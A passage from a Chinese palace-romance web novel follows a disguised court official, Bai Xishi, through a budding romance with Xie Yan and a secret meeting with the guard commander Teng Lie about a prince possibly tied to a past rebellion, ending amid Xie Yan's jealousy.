白惜时听完心中坦然许多,待那小太监洒扫完毕,亦叫人抬了水来,插上门栓,去了卧房之中独立的盥室。 因为想着解衍随时会回来,她动作也比平时要快上一些,等换上寝衣,拿下门栓,没过一会,解衍便从外头走了回来。 此刻男子汗透的衣衫已然换下,浑身散发着清爽之感,一身天青的长袍遮挡住方才的肌理分明,又是那副清隽沉静的模样。 解衍进来后看了一眼白惜时,见对方的束发已然放了下来,走过去将搭在椅背上的发带递了过去,继而走至柜前,将里头的被褥抱了出来。 他这是准备睡觉了。 恰在此时,方才洒扫的小太监去而复返,又端进来了两碗热气腾腾的面条。 白惜时见状,一边绑头发一边走回桌边,示意了眼正在铺床的男子,“咱家有些饿了,叫人煮了两碗面,你可要吃点?” 闻言,停下手中的动作,解衍片刻之后道了句“好”。 二人一同在桌边坐下。 但相较于之前锻炼时算得上积极的态度,沐浴过后回来的男子明显克制收敛了许多,即便坐于白惜时身边亦没有多说什么,低头拿起筷子,专心致志吃面。 前后差别有些大,白惜时观察了一阵,出声问道:“你怎么了,不舒服?” “没有。” 解衍闻言抬起眼,朝白惜时望过来的时候依旧是那副温和的模样,仿佛无事发生,但白惜时就是敏锐的察觉出了不对。 又多看了他两眼,见对方仍没有要继续说下去的打算,索性懒得再问,白惜时转过头也开始吃面。 不过吃了几口又觉得没什么胃口,停了片刻,白惜时将一双筷子重新搭于碗沿,发出一声轻响。 闻声,男子望过来,“掌印?” “无事,就是觉得屋内有些闷。不用管我,我去透会气。” 说着白惜时起身,一个人走到暖阁的窗边,将那里打开了条两指宽的缝。 凌冽的寒风无孔不入,开窗之后,很快便寻着这条细缝吹了进来,在温暖的地方待久了,乍然遇风是有些冷,不过头脑也跟着清明了不少。 只是没过多久,桌边的男子亦跟了过来,停在两步之外,“掌印,如此容易着凉。” “嗯。” 口中虽应着,但白惜时并没有动,依旧半靠在窗边,站在那里吹风醒脑。 白惜时一不愿意说话,解衍便也跟着缄默不语,两个人仿佛都有心事,等待了片刻见对方仍没有关窗的打算,解衍掉了个头,去衣架上取来了白惜时的那件狐裘。 但是衣裳还没有披到对方身上,白惜时此刻却突然抬眼,望着正欲走近的男子道:“你方才怎么回事?” 她能明显感觉到解衍前后的情绪转变,她也实在不想再猜来猜去,索性就着这冷风,问出了口。 男子闻言,没有很快给出答复,而是依旧按照原先的计划,将狐裘披在了白惜时的身上,继而才后退一步,唇线绷直,眼神亦有些复杂不明。 见状皱了皱眉,白惜时其实不大喜欢看到解衍年纪轻轻一副晦暗的模样,就在她以为男子不会说话之时,解衍却在这时候开了口。 “我其实是在考虑同掌印一起,要如何把握分寸才不会让掌印觉得被打扰,也不会把我推得更远。” 解衍筹措着每一句用词,最后说了这么一段话。 说完男子脸上原先的沉静亦被打破,他双目紧盯着白惜时,似乎像是在等待宣判。 被打扰?白惜时其实没有觉得被打扰,若是觉得被打扰,她便压根不会让解衍进来。 费解于解衍的想法,白惜时眉心蹙得更紧,但她不知眼下这样的反应很容易叫对面的男子会错意。 静默驻足原地,解衍似有所感,再抬起头时,已将上一刻涌出的情愫悉数隐藏,“方才是我失言,掌印若是困扰,便当我什么都没说。” 什么都没说?他跟她说了这么一通扰乱自己心神的话,然后又告诉她他什么都没说? “到底是说了,还是没说?” 眼见男子就要退开,白惜时紧跟着问了一句,语气不怎么好,有一种被屋外冷空气浸染的寒气汹汹。 解衍顿步,迟疑,望向白惜时。 见他还晓得停下,白惜时态度缓和了些,一拢身上的狐裘,将窗户又撑开了一些。 “那你现在考虑好了?” 意识到白惜时问的是他先前所说的考虑如何把握分寸,解衍如实道:“没有。” 还没有考虑清楚,他也会顾虑一旦有失分寸过于亲近,白惜时会推剧排斥,反而连现在的关系都维持不下去。 闻言,白惜时半边身子靠回窗边,显得有些散漫,“那你准备怎么办?” 解衍目光深沉,“掌印想让我如何办?” “是咱家在问你。” 直到这个时候,终于察觉出了白惜时态度中的动摇,解衍凝视着对面之人,继而踏出一步,靠得近了亦没察觉出被回避,男子试探般伸出双臂,缓然越过对面之人,最后,撑在白惜时身后的窗棱,呈现出了将人圈于一隅的姿态。 “这样可以吗?”他微微低头,看向近在咫尺的昳丽面庞。 白惜时没说话,半抬着眼睛看向他。 不过她并没有表现出来的那么淡定,两个人离得如此近,以至于男子身上刚刚沐浴过的清爽水汽都扑面而来,白惜时在觉得好闻的同时,又觉得真是该死的性感。 糟了,明明解衍穿戴的整整齐齐哪都没露,她为什么还是会觉得性感? 就因为解衍方才大汗淋漓的时候,她多看了那么五六七八眼?所以明白这副清隽身躯之下的力量和流畅? 等意识到自己在想什么,白惜时又突然冒出股不甘,凭什么都是自己被他引诱,她就不能拿回些主动权吗? 思及此更加不甘示弱,微扬起下巴,白惜时细长的眼尾上挑,整个人慵懒中又带着丝挑衅,就这么肆无忌惮地瞄着男子。 果然在白惜时这样的攻势下,解衍眼眸沾染上了无法再掩饰的情意,继而在这样的蛊惑下,他低下头,眼看鼻尖就快要对上鼻尖…… 不过在最后一刻,白惜时眼疾手快伸出掌心盖在了对方的唇鼻之上,将男子又往回推了半寸。 解衍垂眸,有些错愕的感受着那一片覆过来的细腻温热。 察觉白惜时抬手之时,解衍并没有躲,他以为等来的会是划清界限般的推拒,不曾想,却是带着雪梨清香的掌心? 解衍怔然片刻之后,才开始呼吸。 被他的鼻息一喷,白惜时亦觉痒痒麻麻,将他又推远了些后才有些不大习惯的收回手,继而在看不见的地方,用指尖轻蹭了两下。 真的好痒,早知道揍他了。 “我其实也还没考虑清楚。”片刻之后,白惜时对解衍说出了这样一句话。 “嗯。” 嗯?她都差不多把底透给他了,他就回她一个“嗯”? 白惜时愤而望过去,却差点被解衍那双璀璨的眸子闪晃了眼。 男子的笑意自唇角蔓延,“掌印可以慢慢考虑。” 他等起的。 白惜时挑眉,“可以有多慢?一年,五年,十年可以吗?” 解衍:“可以。” 被他这样执着专注的盯着,时间久了多少有些不大自然,白惜时遂直起身,推了下解衍仍撑在窗棱上的手臂,“让开,睡觉去了。” 然而男子闻言,收手的同时一转方向,竟轻轻拥住对面之人,继而在白惜时察觉到后便很快放开,离开之前,白惜时听见男子在她的耳边道了一句,“掌印,看我。” 白惜时闻声抬头。 伸出手指,摘下他发间被风吹落的一片枯叶,当着白惜时的面,解衍将那一片平平无奇的叶收入手心。 第76章 第76章 几日之后,赵岳从内学堂下学,发现掌印一个人坐在案几前,他于门口来来回回路过了几次,犹豫着应不应该进去。 白惜时起先没太留意,但次数一多,总会有所察觉,遂朝外头一招手,“赵岳,进来。” “你找我?”见少年踟蹰着踏进门槛,她将玉印收起,好整以暇望着对方。 闻言一点头,赵岳又看了眼门外,很慎重地走回去关起了门,继而才走回来,问道:“掌印,是谁想要设计你?” 没想到他操心的是这件事,白惜时又重新摊开一本折子,“做好你该做的事,这不是你应该管的。” “掌印,是太后吗?” 隔了半晌,赵岳突然这么问了一句。 停下动作,白惜时重新抬眼望向少年,“为何这么问?” 其实相较于太后,白惜时更倾向于是皇后想要挑起自己与贵妃之间的争端,太后或许从中给予了教导,但她并不认为对方会将矛头直指自己。 因为没有利益冲突。 皇后是指望着自己去挫败贵妃的锐气,继而坐稳后宫主位。那么太后呢,后宫谁得宠又与她有什么相关? 不论是皇后、贵妃,还是怡妃得势,她都能够稳坐她的太后之位,无非是谁侍奉的她更尽心罢了。 不过听闻皇后近来确实颇得太后欢心,这大约也是她愿意指导皇后一二的原因。 但现在赵岳却来问她,是不是太后想要加害于自己,赵岳为什么会这么想? 闻言,少年人一双剑眉凝着,“掌印知道,前些时日,太后曾召见过我两次……” 赵岳告诉白惜时,太后对他很是关心和善,可每一次从慈宁宫回来后,他都会深深的陷入痛苦之中,因为太后怜悯他的遭遇,怜悯他父亲的遭遇,他的父亲是被牵连其中,并没有真正参与谋反,只是因为没有果断与定国公划清界限,才会遭至身死问罪的下场。 然后从太后那里,他还无意得知了是白惜时率先将定国公谋反之事上报回京,并且很有可能为了自己的功绩,白惜时将这件事给严重化了,以至于造成受波及之人甚广。 也就是说,如果没有白惜时,他的父亲可能不会死,他可能不需要遭受这非人的宫刑,他亦很可能不会家破人亡。 虽然太后一个明确的字眼都没有说,但从慈宁宫回来后,赵岳确实陷入了这样的思绪里。 连日来,他不知道自己是应该感激掌印,还是应该恨他。 因而才会有那段时间的彷徨低迷,也更容易被激怒,继而被利用当众冲撞了宁安世子。 听完白惜时赵岳所说,白惜时凝眉不语。 太后此举何意?是想要激起赵岳对自己的恨意,继而策反他,叫他做盯着自己的眼线? 但自己又有什么威胁,能让深居后宫的太后愿意花这么大的精力来对付她? 她是不是忽略了什么? 一时尚没有缕清思路,白惜时暂时按下疑虑,改为去问赵岳,“你为何现在要来告诉我?” 在对面之人的注视下,赵岳的眼神逐渐坚定,“我想要相信自己的直觉,也相信指挥使的判断。” 赵岳其实很早就知道滕烈,那时候他还是被家族中寄予厚望的后辈,想着拓马长枪、想着挥军千里,然后这一切的梦想,在看见滕烈策马应敌的时候有了具象的概念。 那时候的滕烈还不是锦衣卫指挥使,只是一名京卫镇抚,后来得知他一步步走到指挥使的位置,赵岳也曾立志要与他一样。 他相信自己这段时日与掌印朝夕相处的感受,也相信滕烈看人的眼光。 白惜时听完没再说什么,沉吟片刻,“今日之事不要向外人提及,特别是秉笔。” 赵岳郑重点头,“是。” 待赵岳走后,白惜时于案几前静坐半晌,若是如此,那么难道她之前猜测的方向错了?背后的始作俑者不是皇后,而是……太后? 她的目的是什么? 已提前安排心腹随时注意太后、皇后及秉笔周子良的动向,既然一时不知其意,那便静观其变。 十多日后,滕烈着人进宫给白惜时递来了消失,说是有要事相商。 眼下白惜时虽卸任了东厂厂督,但为避讳之前的“厂卫联合”之言,二人除了公开场合,私下未曾有过联络。这一次滕烈既然能用“要事”来形容,白惜时知道此事必然不简单。 碰巧后日便是京卫同知尹良的大喜之日,尹良此人人缘颇佳,广发请帖,白惜时与滕烈也均在其列,而尹良亦是滕烈唯一的至交之友,是可以信得过之人。 为掩人耳目,二人便约定在喜宴上碰面。 喜宴当日到场同僚颇多,白惜时、滕烈的出现亦不会引人多想。尹府湖心有一楼阁,共有七层,众人皆爱在一、二层赏景,再高便梯阶逼仄、不易攀爬,最顶层的阁楼还上了锁,因而此地便显少有人到访。 不过当今日白惜时登到最顶层的时候,门锁已然打开,并有两人提前等在了那里。 蒋寅见到白惜时,自觉走下阶梯,去下一层给二人望风。 而滕烈此刻正望向白惜时,平日里冷肃的男子仿佛同样被这张灯结彩的喜庆感染,整个人也被映上了一层淡淡的暖意。 “指挥使找我所为何事?”白惜时走过去,开门见山。 闻言收回视线,滕烈换上了一副更为审慎的神色,“祈王或与定国公谋反有牵连。” “祈王?”白惜时讶异反问了一句。 那个病秧子祈王? 继而在滕烈接下来的言语中,白惜时的面容也逐渐凝重。 滕烈告诉白惜时,之前发觉祈王之时与太后不和却并无异动,他已准备叫人不需再盯梢关注。然而就在撤离的前一日,皇帝派人来问祈王近况,祈王的随侍便劝他进宫面圣,以免时间久了生疏了与帝王的感情。 在那之后,盯梢之人听见祈王对心腹说了这样的一句话。 原话是——“定国公之事实在叫人吓破了胆,本王还是不进宫为妙。” 白惜时听完后许久没有说话,再抬起头来时,眼中带着惊疑,“你的意思是,定国公当日谋反,可能并不是准备龙袍加身,而是另扶新帝?” 那个新帝,有可能就是祈王? 所以祈王自此之后才一直称病不敢再进宫,难道是怕面圣之后被看出什么端倪? 滕烈沉声道:“暂且只是我的推测。” 闻言白惜时脊背崩直,仔细权衡后严肃看向男子,“此事非同小可,必当慎之又慎,眼下只因这一句话切不可随意下定论,否则波及之面甚广。” “你若是想查,也必当以自身安全为重。”说罢,她又补充了一句。 望着白惜时此刻显露出来的担忧神色,滕烈静望了片刻,才一点头道:“我知晓。” 第77章 第77章 相商完祁王之事,白惜时离开了阁楼,向楼下走去。 此刻筵席尚未正式开始,楼阁的一、二层还有不少宾客在赏景,滕烈继续停留在原地,立于窗前,欲与白惜时间隔一段时间再往喜宴而去。 本意是临窗赏景,兼顾思量后续之事,不料一声响亮的“解兄”打乱了男子的思绪,继而垂目,朝楼阁下方望了过去。 董飞此刻看见来人,风姿如玉,清疏通透如水中泠月,热情地朝他挥了挥,紧接着快走两步迎了上去,“解兄,方才不是说不来的吗,怎么又改了主意?” “不过你这一来,倒是要把我等都比下去了。”说到这里便冲他促狭的一眨眼,什么意思不言而喻。 来参加此次婚宴的不乏年轻男女,大家注重着男女大防亦不敢多有逾矩,但这并不妨碍他们对对方的好奇,因而尹府的这一座湖边水榭,便成了众人的聚集地。 以赏景游玩之名,行偷偷相看之实。 董飞几人亦未婚配成家,便都有倾向前来,不过方才说明意图欲叫上解衍,他倒是拒绝了。 “可有看见掌印?”男子迅速扫了眼四周,直接问了对方一句。 “掌印?” 解衍过来就是为了寻掌印的? 闻言跟着望了一眼左右,董飞其实也是刚到没多久,“没见着,掌印今日也来喜宴了?” “嗯。” 听闻白惜时不在,解衍便欲离开,听人说先前看见掌印往这边行来,他才会寻至此处。 不过解衍刚一转身,眼看要走,这时候阁楼上方突然想起一声娇软惊慌的嗓音,“哎呀,我的帕子。” 众人寻声望过去,便见一方锦从二层飘飘然而下,正不偏不倚落在了解衍的面前。 解衍止步,此刻丢了帕子的女郎从二层探出头来,看了眼男子面带羞涩道:“郎君,对不住,我这便下来取。” 解衍没有抬头,但董飞却已经看到说话之人,继而两只眼睛都放起光来,是她,方才几人一起过来时便已经注意到了这位女郎,只因她实在是长了一副芙蓉桃花面,在一群人中也尤为出众。 董飞一边羡慕好兄弟的桃花运,一边疯狂冲解衍挑眉,示意他快将帕子拾起来还给人家。 但解衍没有动,也没什么表情,仿佛并未看明白董飞的暗示。 那女郎是小丫鬟陪同着一起下来的,为了快些过来拾回帕子,放弃了远一些的阶梯,而是想要直接从露台上走下,但那露台实在有些高度,贵女们穿着衣裙又不方便,等真走到了眼前,那娇娇软软的女郎犯了难。 一犯难,便将目光向前望去,触及到那个卓然挺拔的身影,偷偷攥紧了手侧的衣摆。 美人有困难,且眼看着是想要寻求帮助,董飞这时候都有冲动过去扶人一把,只可惜她望向的人并不是自己。 但她看向的人……似乎压根没注意人家姑娘会怎么过来。 太没眼力界了,董飞恨解衍是块木头。 最后女郎在小丫鬟的搀扶下小心翼翼踏下了高阶,直到快到近前,解衍利落将巾帕捡起,交还给女郎身边的小丫鬟。 “多谢郎君。”那女子声音清甜,听之便叫人心生好感。 但解衍却只一点头,没什么多余的反应,继而转身离开之际,余光瞥见了从楼阁内走出的一人,脚步一顿,调转方向,朝阶梯之处走了过去。 董飞开始还疑惑是谁这么大本事能让柳下惠一般的男子有所转变,定睛一看,是掌印,那不稀奇了。 他好像只有在面对掌印的时候所有事情都能无师自通。 就比方说方才拦住那女郎的高台,对比眼下平缓的阶梯,掌印他一个成年男子还能走不稳吗?但此刻解衍偏偏就能恢复眼力,伸出手去,欲扶对方走下来。 白惜时仍在回想滕烈所说的祁王之事,眉心微蹙,亦没太关注周遭旁人,见解衍此刻出现,又莫名暼了眼对方向自己伸出的掌心。 “……咱家在你眼里,是个连下台阶都费劲之人?” 解衍未答,观察着白惜时的神色,“掌印有心事?” 闻言舒了口浊气,看到对方意欲收回去的手,不知为何,还是在最后一刻扶了上去,“没有。” 走下来松开之际,白惜时调整了一番表情,毕竟是参加喜宴面色凝重于礼不合,也易让人察觉异样,遂又问了一句,“现在呢?” 没头没尾的一句话,解衍却很快领会对方意图,闻言端详片刻,“好多了。” 说话间,二人就这么旁若无人并肩离去,虽离得远听不出说了什么,但那种莫名的契合是在场之人都能感受到的。 另一个侍卫这时候凑上来,不明所以的去问董飞,“解兄就这么走了?” 董飞摆出一副很懂解衍的架势,“解兄此人,事业之心颇重,其他的么……不开窍。” “不开窍吗?我感觉他对掌印挺开窍的。” 董飞闻言慨叹一声,“你不知道,掌印管他管得颇严,连平日里吃什么收什么都管,估计这样是被长期训诫出来的结果。” …… 而此刻阁楼上临窗而立的男子亦看到方才一幕,尤其是白惜时将手伸出去的刹那,别人未能察觉,但他却一眼看清了其中的亲密信任。 滕烈薄唇一抿,眼底似有错杂的情绪翻涌。 喜宴正式开始之际,尹良一身大红色的喜袍,眼角眉梢亦尽是喜气,新郎官人缘好,敬酒之人也颇多,几番来回之下便觉不胜酒力,有那几个好事的却笑闹着不打算放过他,今日不将他灌醉不肯罢休。 滕烈与尹良虽一冷一热,却是从小到大的至交,这个时候男子便承担了为新郎挡酒的职责,不过滕烈一出现,那些人便不敢太过造次,敬酒的频率亦有所收敛,但今日的指挥使却一反常态,即便仍是那副肃然之态,却对递过的酒水来者不拒,时间一长,竟喝的比新郎官还要多。 酒席过半,白惜时中途离席净手,想着回来后便找个借口告辞,她对喜宴实则没什么兴趣,连个新娘子的正脸都没见着,入眼的皆是各桌男子推杯换盏,实在无趣的要命。 更何况他心中还计较着祈王与定国公之事。 从袖中拿出一方巾帕,白惜时一边擦手一边往回走,片刻之后看见不远处有人正扶着一棵大树干呕,估摸着又是哪个醉鬼喝多了,白惜时没准备管,计划着今日好不容易出宫,正好可早些回府歇下。 不过在越过那“酒鬼”之时,又莫名觉得身形眼熟,白惜时侧眸一看,顿时诧异的唤了一声,“滕烈?” 听见白惜时的声音,男子扶树的手一动,连干呕之声都跟着断断续续停了下来。 不过男子并没有回头,整个人似是也有些发懵发僵。 此刻已经绕到树的另一面,白惜时望着明显喝多了的锦衣卫指挥使,牵起嘴角强笑了一声,“还真是你。” 白惜时其实在酒席上就注意到了今日将酒当白水喝的滕烈,想着这人果真仗义,为了人家尹良今夜能顺利洞房花烛,挺能牺牲自我的。 在白惜时的注视下,滕烈这个时候也已直起身,略微狼狈的用手背抹了下唇角,半是清明半是浑浊的看向突然出现之人。 实在是没见过滕烈这副模样,白惜时一时有些难以理解,“指挥使,今日是尹同知成亲还是你成亲?喝的比人家新郎官都欢,不知道咱家还以为参加的是你的喜宴。” 听到这话心中一阵滞闷,莫名又想到那两只握在一起的手,酒精作祟下口不择言,滕烈竟反问了一句,“我与谁成亲,你吗?” 白惜时起先因这句话倏然一惊,还以为滕烈是察觉了自己的身份,继而见他蹙眉闭眼,一副神志都不大清明的模样,又怀疑这人是喝多了在杵自己,遂没什么好气道:“咱家姑且不与你一个醉鬼计较。” 越过男子便欲先行回席,然而察觉白惜时要走,原本还醉意上涌的男子此刻被一种本能驱使,动作快过大脑,竟伸手拦住了对方。 看着挡在自己身前的男子,白惜时:“咱家是去帮你将蒋寅叫过来,让他送你回府。” 现下虽有夜色掩盖,道路两旁人亦不多,但他们二人仍不适合表现的过于熟稔。 闻言滕烈还想再说什么,但毕竟两分理智尚存,盯着白惜时看了一会,最后还是放下了手。不过放手之后胸腔中又是一阵翻江倒海,男子转过头去,压制住想要再次翻涌之感。 无言望着向来威势赫赫以冷酷无情著称的男子,不知道他今日为何一定要喝成这样,其实有些酒在白惜时看来分明是可以挡回去的,只是滕烈没有挡,一副无情灌酒器的模样。 低头看了眼手中的擦手巾……身上好像也没其可能用的东西,迟疑片刻,白惜时还是走了过去,伸手拍了拍对方的肩膀,“哎哎。” 滕烈应声侧头,尽量维持着清明去看对方。 “拿去擦擦。”白惜时将那条手巾递给滕烈。 她就净手后拿着擦了擦上头的水珠,应当还能再利用一下。 望着那条递过来的白色绢布,滕烈眼眸微顿,片刻之后才一抬手,接了过去,“多谢。” “我去帮你叫蒋寅。” 说着白惜时便越过男子,擦身而过之际,她听见男子盯着那方巾帕问了自己一句,“用完,如何还你?” 什么,还要还?她不至于那么抠搜。 闻言显得尤为慷慨,白惜时:“不用,用完直接扔了吧。” 第78章 第78章 白惜时着人告知了蒋寅滕烈的情况,继而准备告辞回府之际,蒋寅又折返了回来,站在远处一筹莫展望向白惜时。 这模样显然是有事要找自己又顾忌着人多眼杂,看了眼左右,吩咐人告知已去安排车马的解衍等他一会,白惜时这才离席往人少偏僻的地方走去。 待到走过去,又确认四下无人,蒋寅才道:“掌印,属下没找到指挥使。” 白惜时闻言一顿,“咱家方才见他就在小径旁的棵边。” 蒋寅:“属下确实都找了,就是没见着人影。” 他都喝成那样了,一个大活人还能凭空不见 想想都觉得稀奇,白惜时:“咱家与你一同去看看。” 二人回到了原先的位置,滕烈确实已经不在此处,这个时候白惜时考虑的就比较多了,难道是查探祈王之事叫人察觉,有人想要对滕烈不利? 疑虑之下白惜时拦住尹府路过的一个下人,一问之下,那人回说之前是看见一位大人被管家并几名家厮扶回了尹府后头的厢房休息。 白惜时与蒋寅根据家厮的指引,找去了供贵客休息的厢房,推开门一看,滕烈正半靠在床边,一副不甚清醒的模样,管家正指挥着两名小丫鬟打水来准备给他擦身换衣。 瞧见这副情状,白惜时都怀疑蒋寅是在拿自己寻开心,“你一个干追踪的,找不到人不知道去问?还要咱家将你一路护送过来和你们家指挥使汇合?” 这一声“咱家”出口,正闭目养神的男子动了动,继而强打起精神,撑开眼皮,望向了那个模糊的纤长身影。 蒋寅闻言面色讪讪,又瞄了眼指挥使的方向,“我这也是关心则乱。” 说话间,两个小丫鬟这时候已经试完水温,拧着帕子就要上前来为滕烈解开衣服擦拭,半醉的男子此刻倒是防备心极重,抬手阻止了二人靠近。 继而缓缓侧头,往白惜时和蒋寅这边望了一眼。 白惜时:“他是不是嫌我两碍事?” “哪能啊,绝对不能,指挥使嫌我碍事都不能嫌掌印您碍事。” 说完蒋寅疾走两步过去,接了小丫鬟手中的帕子,继而对二人道:“这里有我便可,你们都下去吧。” “也劳烦管家费心照料。” 待那三人退出,蒋寅倒了杯浓茶给滕烈醒酒,此刻进来都进来了,白惜时亦跟过去看了一眼,继而对蒋寅道:“今日尹良大喜估计对他刺激不小,你看他那酒喝的,不知道的还以为借酒消愁。” “不过我今日发现你们指挥使至今未成家,这里头你恐怕也功不可没。” 意有所指看了眼蒋寅手中的帕子,“活都给你抢着干完了。” 蒋寅听了可能是觉得冤,抬头辩驳,“掌印,指挥使洁身自好,我们做属下的自然也要替他规避不必要的麻烦。” 听完暼了眼滕烈,她是真将自己带入男子,又都是熟人,白惜时说起话来也随意许多,“他都喝成这样了能有什么麻烦?” “先不说人家就是来干活擦身的,你草木皆兵。就算人家姑娘真想对他做什么,你们家指挥使现在这样能成什么事?” “连我一个内宦都知道,酒喝太多又不能行!” 滕烈本在静默喝水,听到这句猛然呛了一声,继而剧烈咳嗽起来,咳得脸色都涨红,倒是打破了他一贯以来的冷肃之感。 蒋寅见状,赶紧将滕烈手中的杯子拿走。 好不容易咳完,呼出的气息亦掺杂着酒味,男子喉结上下滚动了一下,才偏头看了眼白惜时,“……懂得真多。” 怎么,看不起她一个太监? 白惜时一拱手,大方回了句“承让”。 滕烈:“……” 眼看指挥使快要被掌印噎死,蒋寅一个头两个大,他本意把掌印引来是想帮指挥使一把,但不是为了让他两跟斗嘴似的。 蒋寅决定打岔,“反正指挥使喜欢谁我能看出来,他不喜欢,我们做属下的自然要挡。” 白惜时一扬下巴,“你说说,他喜欢谁?” 被白惜时问得一卡壳,蒋寅下意识边床上之人望去,这个时候滕烈亦微蹙起眉头,看了蒋寅一眼。 “……没喜欢谁。” 白惜时:“……” 她就多余这一问,这两人今日自喜宴开始之后就变得古古怪怪。 “既然人已找到,咱家就先回去了。” 白惜时又望向滕烈,“我看你今日这样不如就歇在尹府,也省的蒋寅麻烦。” “嗯。” 厢房的木门打开复又合上,直到白惜时的衣角消失在阶前,男子收回视线,有些燥热的解开了脖颈处的一颗玉扣,头颅微微后仰,仿佛白惜时走后,他也才可以真正放任自己沉沦不醒。 蒋寅筹措着开口,“指挥使,今日是我将掌印带来……” 闻言眉峰微蹙,男子半掀开眼睑,望向欲言又止之人,“下次不要擅作主张。” 不可为了一己私欲,让对方再受到天子猜忌。 白惜时出尹府大门的时候,解衍已经在马车旁站了许久,这时候见所等之人终于跨出门槛,解衍阔步迎了过去。 “掌印,可是遇到了什么事?” 他记得今日在楼阁见到白惜时,他的脸色便不大好。 “没事。”白惜时一边说着一边往马车边走,“先上车。” 待二人坐定,车轱辘也有序的转动起来,发现对面之人仍一脸关心观察着自己的神色,白惜时冲他笑了一下,“真没什么,就是滕烈酒喝多了,方才我去给蒋寅搭了把手。” “滕烈?” 闻言重复了一边,解衍表情非但没有放松,反而变得有些严肃,“掌印来参加喜宴,是因为滕烈?” 他知道白惜时不喜欢这样的场合,一般收到帖子也很少会真正到场。 白惜时:“算是,他托人给我递了消息,说是有要事与我相商。” 闻言,男子停了片刻,又问了一句,“掌印今日在尹府的楼阁,所见之人亦是滕烈?” “嗯。” 提到楼阁便想到了祈王与定国公之间的牵扯,紧接着眉头一凝,白惜时又陷入纷杂的思绪当中。 若滕烈的推断是真,那除了祈王,还有没有其他人也参与其中? 发现白惜时此刻应当是在为今日相商之事忧心,解衍等了一会,见对方没有开口的打算,遂劝慰道:“掌印若是一时难寻解决之道,或许可以说出来,你我一起商量对策。” 但白惜时这次听完却直接一摇头,“此事尚未下定论,等差不多确定了我再与你说不迟。” 兹事体大,涉及谋朝篡位,她不想贸然将解衍拉进来以免受到波及牵扯,况且此事知道之人也自然是越少越好。 有时候不知道反而是一种安全和保护。 似是没想到白惜时会直言拒绝自己,解衍的表情有一瞬间的停滞,继而漆黑的眸子盯着对面之人,半晌之后才点了点头,“那便掌印觉得合适的时候再说。” 回程的后半段气氛比较沉默,解衍没有再说话,也不欲打断白惜时的思绪,只兀自将马车当中用过的东西规整好。而白惜时也确实因为心中有事,一边看着解衍动作一边想着前朝与后宫,同样的一言不发。 不过看解衍规整东西好像也能解压,见男子此时将典籍一本本装入便于保存的书筒,再一个个整齐码放于一处,待整理完毕,白惜时下意识用手指一戳,顷刻间,那十几筒书卷就轰隆隆重新散落在案几之上。 白惜时没想到自己的一戳竟能有这么大的威力,回过神后,抬眼看了下解衍。 男子没说什么,也没什么多余的表情,见状又开始重新堆叠码放。 只这一次完成之后,他还特意用镇纸抵住,应当是避免书筒再次滚落。 然而白惜时心中一有事有压力,原先也没觉得自己是个无聊之人,但现下不知为何就想给解衍也找点事做,遂停了片刻,再次伸出手去,将那镇纸移开,继续用力一戳…… 解衍这回终于有了点反应,多看了白惜时一眼。 随即便又收回视线,男子面上倒是没有丝毫的不耐,继续重复先前的动作,只不过这次没等到他码放好,那只作恶的手再次伸了过来,解衍没抬头,轻轻拍了一下。 不过这一拍,他倒是微微怔愣,白惜时的手有些凉。 继而很快子停下动作,男子回过身去,不知从哪变出了个还有些温热的烤红薯,支过身来塞到白惜时手中,虽仍没有说什么,但那意思不言而喻,叫白惜时拿着吃。 可能也是怕她两只手闲着。 白惜时看着突然多出来的吃食,忍不住问了一句,“哪来的?” 解衍继续码放书筒,回答的稀疏平常,“酒席的时候看掌印没怎么吃,等你的时候买的。” 闻言又看了一眼那烤红薯,白惜时当下一时不知作何感想,只凭着本能说了一句,“我其实不大喜欢吃这种东西,太甜。” “知道。太晚了只看见有卖这个,饿了掌印就吃些,不喜欢吃便拿着暖手。” 说到这,解衍恰好又码完最后一个书筒,继而稍微让开了些,用眼神示意白惜时已经完成,这回可以推倒了。 非常认真的陪着白惜时一起玩一起无聊。 “回府想吃什么给你重新做。”解衍紧跟着又说了一句。 见状心头涌上一股陌生的情绪,白惜时手指下意识握了握那还泛着温度的红薯,过了片刻,反问他,“你做?” 解衍笑了起来,“掌印想让我做便我做,想吃什么?” 在男子温润的注视下,心脏没来由一跳,白惜时稍一用力,亦将那红薯捏的微微有些变形。 第79章 第79章 回府后,白惜时先去了一趟书房,打算挑两本书睡前看。 倒不是她有多好学,实在是那种晦涩难懂的书看着就容易犯困,十分有助于睡眠,这也是她近来遇到政事烦扰时养成的习惯。 白惜时最后还是没让解衍去做吃的,其实她没多饿,就是随口说说,顺带着将那红薯烤焦的皮撕下,低头吃了两口。 唔~味道倒是比想象中好,她近来好像没有原先那般排斥甜味了。 解衍陪着她一起去了书房,待到要拿书的时候,白惜时发现手上沾染了些红薯泥,本想掏出巾帕擦掉,动作做到一半才想起来那帕子已经被自己慷慨送人了。 见白惜时停在那没动,解衍问了句,“掌印,怎么了?” “没什么,你那可有帕子,借我一用。或者替我拿条新的过来。” “掌印原先的丢了?” 一边将自己的拿出来递给白惜时,一边顺口问了句,解衍知道白惜时有随身带巾帕的习惯,并且今日在席间,他也曾见到对方用过。 白惜时一摇头,没太当回事,“那条给滕烈了。” 滕烈? 又是滕烈。 闻言眸色一暗,先前在马车中强行按下的情绪再次翻涌,他亦是靠规整物品平复下心头那股复杂涩然,待兀自将情绪整理好,再去面对白惜时。 但再三听到“滕烈”这个名字,这一次平静的表象似是也有些难以维持,男子望向白惜时的眼中幽静如湖水。 “为什么要给他?”解衍低声问了一句。 “他喝多了,吐的厉害。” 白惜时说这话的时候依旧没抬头,正用深蓝色的帕子一点一点擦干净手指,继而抬臂拿下本书,将帕子还了回去,“咱家这便睡了,你也早些回房。” 男子唇线绷直,接过帕子,立在原地半晌没有动。 书房因未准备看书,所点的烛火并不明亮,说完亦未注意到解衍脸上的神色,白惜时越过男子往门边走去,伸手正拉开一条门缝,后头便传来了脚步声,以为解衍是要同她一起,白惜时还等了一会,不想等来的不是同行的脚步,而是一只长臂倏然从后头横亘过来,紧接着将已经打开的门又推了回去。 “吱嘎”一声,动静有些大,白惜时不明所以,回过头去。 这一入眼便是男子一副郁滞的面容,白惜时动作一顿,下意识问了句,“你怎么了?” 然而解衍只看着白惜时,并未开口。 “有话就说,别把自己憋出个好歹。” 她知道解衍是个很多事喜欢闷在心中之人,年纪轻轻有时候还有点阴暗,不过白惜时觉得她与解衍之间不需要这样,有什么事情能说清楚便当下说清楚。 在白惜时的追问下,解衍停了片刻,问出一句,“为何总是滕烈?” “什么?” “送花的是他,喝醉照顾的是他,掌印送帕子的也是他。” 